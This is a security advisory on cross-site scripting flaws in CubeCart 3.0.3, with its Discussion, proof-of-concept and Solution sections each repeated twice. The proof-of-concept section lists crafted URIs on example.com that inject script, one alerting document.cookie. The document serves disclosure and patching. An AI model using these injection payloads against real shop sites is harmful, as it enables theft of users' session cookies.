CubeCart Multiple Cross-Site Scripting Vulnerabilities
BID:14962
Info
CubeCart Multiple Cross-Site Scripting Vulnerabilities
| Bugtraq ID: | 14962 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 28 2005 12:00AM |
| Updated: | Sep 28 2005 12:00AM |
| Credit: | lostmon is credited with the discovery of this vulnerability. |
| Vulnerable: |
CubeCart CubeCart 3.0.3 |
| Not Vulnerable: |
CubeCart CubeCart 3.0.4 |
Discussion
CubeCart Multiple Cross-Site Scripting Vulnerabilities
CubeCart is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
CubeCart is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
Exploit / POC
CubeCart Multiple Cross-Site Scripting Vulnerabilities
No exploit is required.
The following proof of concept URI are available:
http://www.example.com/cc3/cart.php?act=reg&redir=L3NpdGUvZGVtby9jYzMvaW5kZXgucGhwP3NlYXJjaFN0cj0lMjIlM0UlM0NzY3JpcHQlM0VhbGVydCUyOCUyOSUzQyUyRnNjcmlwdCUzRSZh
bXA7YWN0PXZpZXdDYXQmYW1wO1N1Ym1pdD1Hbw==[XSS-CODE]
http://www.example.com/cc3/cart.php?act=reg&redir=[XSS-CODE]
http://www.example.com/cc3/index.php?searchStr=%3D%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&act=viewCat&Submit=Go
http://www.example.com/cc3/index.php?act=login&redir=L3NpdGUvZGVtby9jYzMvaW5kZXgucGhwP2FjdD12aWV3RG9jJmFtcDtkb2NJZD0x[XSS-CODE]
No exploit is required.
The following proof of concept URI are available:
http://www.example.com/cc3/cart.php?act=reg&redir=L3NpdGUvZGVtby9jYzMvaW5kZXgucGhwP3NlYXJjaFN0cj0lMjIlM0UlM0NzY3JpcHQlM0VhbGVydCUyOCUyOSUzQyUyRnNjcmlwdCUzRSZh
bXA7YWN0PXZpZXdDYXQmYW1wO1N1Ym1pdD1Hbw==[XSS-CODE]
http://www.example.com/cc3/cart.php?act=reg&redir=[XSS-CODE]
http://www.example.com/cc3/index.php?searchStr=%3D%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&act=viewCat&Submit=Go
http://www.example.com/cc3/index.php?act=login&redir=L3NpdGUvZGVtby9jYzMvaW5kZXgucGhwP2FjdD12aWV3RG9jJmFtcDtkb2NJZD0x[XSS-CODE]
Solution / Fix
CubeCart Multiple Cross-Site Scripting Vulnerabilities
Solution:
The vendor has released version 3.0.4 to address this issue.
CubeCart CubeCart 3.0.3
Solution:
The vendor has released version 3.0.4 to address this issue.
CubeCart CubeCart 3.0.3
-
CubeCart CubeCart 3.0.4
http://www.cubecart.com/site/forums/index.php?act=Downloads
References
CubeCart Multiple Cross-Site Scripting Vulnerabilities
References:
References:
- CubeCart Homepage (CubeCart)
- CubeCart? 3.0.3 multiple variable Cross site scripting (LostMon)